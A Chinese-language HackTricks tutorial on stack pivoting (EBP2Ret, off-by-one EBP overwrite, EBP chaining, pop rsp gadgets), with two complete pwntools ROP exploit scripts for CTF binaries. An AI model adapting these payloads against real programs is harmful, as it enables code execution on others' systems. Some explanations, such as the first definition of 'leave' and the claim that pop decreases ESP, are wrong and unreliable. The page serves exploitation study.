9 KiB
栈枢纽 - EBP2Ret - EBP链接
从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家)!
支持HackTricks的其他方式:
- 如果您想看到您的公司在HackTricks中做广告或下载PDF格式的HackTricks,请查看订阅计划!
- 获取官方PEASS & HackTricks周边产品
- 探索PEASS家族,我们的独家NFTs收藏品
- 加入 💬 Discord群 或 电报群 或 关注我们的Twitter 🐦 @hacktricks_live。
- 通过向HackTricks和HackTricks Cloud github仓库提交PR来分享您的黑客技巧。
基本信息
该技术利用了操纵**基指针(EBP)的能力,通过精心使用EBP寄存器和leave; ret
**指令序列来链接执行多个函数。
作为提醒,**leave
**基本上意味着:
mov ebp, esp
pop ebp
ret
EBP2Ret
这种技术在你可以改变 EBP 寄存器但无法直接改变 EIP 寄存器时特别有用。它利用了函数执行完毕时的行为。
如果在 fvuln
执行期间,你成功地在栈中注入一个指向内存中你的 shellcode 地址的伪造 EBP(再加上 4 个字节以考虑 pop
操作),你就可以间接控制 EIP。当 fvuln
返回时,ESP 被设置为这个精心构造的位置,随后的 pop
操作将 ESP 减少 4,有效地使其指向攻击者在其中存储的地址。
注意你需要知道 2 个地址:ESP 将要到达的地址,你需要在那里写入 ESP 指向的地址。
Exploit Construction
首先,你需要知道一个可以写入任意数据/地址的地址。ESP 将指向这里并运行第一个 ret
。
然后,你需要知道 ret
使用的地址,将执行任意代码。你可以使用:
- 一个有效的 ONE_GADGET 地址。
system()
的地址,后跟4 个无效字节和"/bin/sh"
的地址(x86 位)。- 一个**
jump esp;
** gadget 的地址(ret2esp),后跟要执行的shellcode。 - 一些 ROP 链
请记住,在受控内存的任何这些地址之前,必须有**4
个字节**,因为 leave
指令的**pop
部分。可以滥用这 4B 来设置第二个伪造 EBP**并继续控制执行。
Off-By-One Exploit
这种技术的一个特定变体称为“Off-By-One Exploit”。当你只能修改 EBP 的最低有效字节时使用。在这种情况下,存储要跳转到的地址的内存位置与 EBP 共享前三个字节,允许在更受限制的条件下进行类似的操作。
通常修改字节 0x00 以跳转尽可能远。
此外,通常在栈中使用 RET 滑梯,并将真正的 ROP 链放在末尾,以使新 ESP 更有可能指向 RET 滑梯内部并执行最终的 ROP 链。
EBP Chaining
因此,在栈的 EBP
条目中放置一个受控地址,并在 EIP
中放置一个指向 leave; ret
的地址,就可以将 ESP
移动到栈中受控的 EBP
地址。
现在,ESP
被控制指向一个期望的地址,下一个要执行的指令是 RET
。为了滥用这一点,可以在受控 ESP 位置放置以下内容:
&(下一个伪造 EBP)
-> 加载新的 EBP,因为leave
指令中的pop ebp
system()
-> 被ret
调用&(leave;ret)
-> 在 system 结束后调用,它将移动 ESP 到伪造 EBP 并重新开始&("/bin/sh")
->system
的参数
基本上,通过这种方式可以链接多个伪造的 EBP 来控制程序的流程。
这就像一个 ret2lib,但更复杂,没有明显的好处,但在某些边缘情况下可能会很有趣。
此外,这里有一个挑战示例,使用这种技术和一个栈泄漏来调用一个获胜函数。这是页面上的最终有效载荷:
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')
LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0x0, # rbp (could be the address of anoter fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)
payload = payload.ljust(96, b'A') # pad to 96 (just get to RBP)
payload += flat(
buffer, # Load leak address in RBP
LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it
)
pause()
p.sendline(payload)
print(p.recvline())
EBP可能不会被使用
正如这篇文章中所解释的,如果一个二进制文件被编译时进行了一些优化,EBP永远无法控制ESP,因此,通过控制EBP来进行攻击的任何利用都基本上会失败,因为它没有任何真正的效果。
这是因为如果二进制文件被优化了,函数的前导和尾声会发生变化。
- 未优化:
push %ebp # save ebp
mov %esp,%ebp # set new ebp
sub $0x100,%esp # increase stack size
.
.
.
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret # return
- 优化:
push %ebx # save ebx
sub $0x100,%esp # increase stack size
.
.
.
add $0x10c,%esp # reduce stack size
pop %ebx # restore ebx
ret # return
控制 RSP 的其他方法
pop rsp
机关
在这个页面中,您可以找到使用这种技术的示例。对于这个挑战,需要调用一个带有两个特定参数的函数,并且有一个**pop rsp
机关以及一个来自堆栈的泄漏**:
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')
POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229 # pop RSI and R15
# The payload starts
payload = flat(
0, # r13
0, # r14
0, # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
)
payload = payload.ljust(104, b'A') # pad to 104
# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer # rsp
)
pause()
p.sendline(payload)
print(p.recvline())
xchg <reg>, rsp 交换指令
pop <reg> <=== return pointer
<reg value>
xchg <reg>, rsp
jmp esp
在这里查看ret2esp技术:
{% content-ref url="../rop-return-oriented-programing/ret2esp-ret2reg.md" %} ret2esp-ret2reg.md {% endcontent-ref %}
参考资料和其他示例
- https://bananamafia.dev/post/binary-rop-stackpivot/
- https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting
- https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html
- 64位,通过一个以ret sled开头的rop链利用off by one漏洞
- https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html
- 64位,无relro、canary、nx和pie。程序提供了一个用于获取堆栈或pie泄漏以及qword的WWW的漏洞。首先获取堆栈泄漏,然后使用WWW返回并获取pie泄漏。然后使用WWW创建一个滥用
.fini_array
条目+调用__libc_csu_fini
的永久循环(更多信息请参见此处)。通过滥用这种“永久”写入,将ROP链写入.bss并最终调用它,通过RBP进行枢轴转换。
ARM64
在ARM64中,函数的入口和出口不会在堆栈中存储和检索SP寄存器。因此,默认情况下,您无法通过覆盖堆栈中的某些数据来控制SP寄存器。